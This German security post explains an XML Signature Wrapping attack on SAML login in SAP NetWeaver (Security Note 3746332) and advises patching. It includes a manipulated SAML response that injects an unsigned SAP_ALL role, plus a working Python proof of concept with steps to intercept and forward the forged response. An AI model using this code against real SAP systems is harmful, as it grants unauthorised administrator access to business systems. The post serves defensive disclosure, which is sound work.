Seit dem Juni Patch Day steht die „Patch Note 3746332“ im Fokus.
Warum hat die einen CVSS 9.9 wert?
Und warum bekommt ein „low-priv User“ plötzlich SAP_ALL, ohne dass der IdP (Entra ID) auch nur mitbekommt, dass die Rollen manipuliert wurden?
Ich habe mir die Mechanics der XML Signature Wrapping (XSW) Attacke angesehen. Hier ist, was wirklich passiert.
—
Das Problem: Crypto-Validierung vs. XPath-Logik
SAML Assertions werden signiert. Das ist klar. Die Falle liegt im Scope der Auswertung. Im betroffenen NetWeaver-SP wurde die kryptografische Signatur über einen spezifischen XML-Knoten (<ds:Reference URI="#_assertion_id">) validiert. Die Attribute-Resolution (Rollen, Gruppen) hat aber einen ungenauen XPath-Pfad genutzt, um <saml:AttributeStatement> im Dokument zu suchen. Ergebnis: Die Krypto-Prüfung validiert das eine Element (die ID). Die Applikationslogik liest ein anderes, injiziertes Element aus. Das ist reiner XSW.
—
Der Angriffsschritt
1. Legitimer Login (Struktur)
User t.werth@test.onmicrosoft.com loggt sich per SAML in SAP ein. Entra ID generiert eine signierte Response. Die Struktur ist strikt:
<samlp:Response ID="_resp">
<saml:Issuer>https://sts.windows.net/tenant-id/</saml:Issuer>
<ds:Signature>
<ds:SignedInfo>
<!-- Signiert den Inhalt von _assertion_id -->
<ds:Reference URI="#_assertion_id">
<!-- ... DigestValue ... -->
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>Z0FBQ0I...</ds:SignatureValue>
</ds:Signature>
<!-- Die eigentliche Assertion -->
<saml:Assertion ID="_assertion_id">
<saml:Subject>...</saml:Subject>
<saml:AttributeStatement>
<saml:Attribute Name="groups">
<saml:AttributeValue>SAP_Users</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
Alles sauber. Signatur deckt _assertion_id ab. Rollen sind SAP_Users.
2. Intercept & Wrap (XSW Manipulation)
Hier kommt XSW ins Spiel. Der Angreifer fängt die Response ab und manipuliert die XML-Struktur.
Wir fügen ein neues, unsigniertes Element in den Response-Baum ein — auf derselben Ebene, außerhalb der signierten Assertion, aber innerhalb des Response-Dokuments.
<samlp:Response ID="_resp">
<saml:Issuer>https://sts.windows.net/tenant-id/</saml:Issuer>
<!-- ✨ INJEKTION: Unsigniertes Schwesterelement ✨ -->
<saml:AttributeStatement>
<saml:Attribute Name="groups">
<saml:AttributeValue>SAP_ALL</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
<ds:Signature>
<ds:SignedInfo>
<ds:Reference URI="#_assertion_id">
<!-- Digest passt weiterhin auf die Assertion unten! -->
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>Z0FBQ0I...</ds:SignatureValue>
</ds:Signature>
<!-- Original Assertion (intakt) -->
<saml:Assertion ID="_assertion_id">
<saml:Subject>...</saml:Subject>
<saml:AttributeStatement>
<saml:Attribute Name="groups">
<saml:AttributeValue>SAP_Users</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
3. Was NetWeaver macht
* Der Krypto-Check: Der Validator löst die Referenz #_assertion_id auf. Er prüft den Digest nur für diesen spezifischen Knoten. Da dieser Knoten unverändert ist, ist die Signatur mathematisch 100% gültig.
* Die Business-Logik: Der XML-Parser nutzt einen „dummen“ XPath (z.B. //saml:AttributeStatement[1]), um die Gruppen zu lesen. Der Parser findet das erste* AttributeStatement im Baum. * Das ist jetzt unser injiziertes Element: SAP_ALL.
* Das Ergebnis: Die Session wird mit Admin-Rechten erstellt. Entra ID hat alles korrekt signiert. Die Signatur ist echt. Der Fehler liegt exklusiv in der XML-Verarbeitung auf Empfängerseite: Sie kopiert die Krypto-Validierung und die Daten-Extraktion nicht an denselben Knoten.
—
PoC (Python, concept level)
import base64
from lxml import etree
def xsw_wrap_saml(original_b64: str, inject_roles: list) -> str:
"""
SAML Response Wrap PoC
Fügt ein unsigniertes AttributeStatement als Schwesterelement der Assertion ein.
"""
# XML dekodieren
xml_bytes = base64.b64decode(original_b64)
response = etree.fromstring(xml_bytes)
# Namespaces sauber registrieren, um ns0-Präfixe zu verhindern
SAML_NS = 'urn:oasis:names:tc:SAML:2.0:assertion'
etree.register_namespace('saml', SAML_NS)
# 1. Neues AttributeStatement erstellen
fake_attrs = etree.Element(f'{{{SAML_NS}}}AttributeStatement')
roles_attr = etree.SubElement(fake_attrs,
f'{{{SAML_NS}}}Attribute',
Name='groups')
for role in inject_roles:
val_elem = etree.SubElement(roles_attr, f'{{{SAML_NS}}}AttributeValue')
val_elem.text = role
# 2. Position der Assertion bestimmen
insert_index = 0
for i, child in enumerate(response):
if 'Assertion' in child.tag:
insert_index = i
break
# Vor der echten Assertion einfügen
response.insert(insert_index, fake_attrs)
# 3. Export OHNE erzwungenes c14n, um die Original-Signaturelemente nicht zu verfälschen
return base64.b64encode(etree.tostring(response, xml_declaration=True, encoding='utf-8')).decode()
Usage:
1. Proxy fängt SAMLResponse POST ab
2. xsw_wrap_saml() injiziert unsigniertes Element
3. Payload an SAP weiterleiten
4. SAP_ALL Session zurück (weil XPath das falsche Element trifft)
—
Warum das kein „Edge Case“ ist
SAML/XSW ist ein bekanntes Strukturgremium-Problem:
* XSW-XSS / XSW-XML — ähnliche Pattern bei SOAP & OAuth
* XPath Resolution Mismatch — Validator nutzt ID-Reference, App nutzt //tag[1]
* Scope-Verletzung — Die Validierung findet im Scope #_id statt, die Nutzung im Scope Response.
Das funktioniert mit jedem IdP: Entra ID, Okta, Keycloak. Der IdP ist irrelevant. Die Signatur wird nicht gebrochen, sie wird nur „umgangen“, indem der Parser den falschen Pfad im Baum nimmt.
—
Remediation Patchen:
Security Note 3746332 installieren. Sofort.
—
* CVE-2026-44748 ist ein XSW-Angriff auf SAML in SAP NetWeaver
* Signatur bleibt mathematisch gültig — der XPath-Pfad liest nur das falsche Element
* Low-priv User → SAP_ALL in einem Request * Entra ID hat nie mitbekommen, was passiert
* Patch + Scope-Validierung + XPath-Hardening = gut



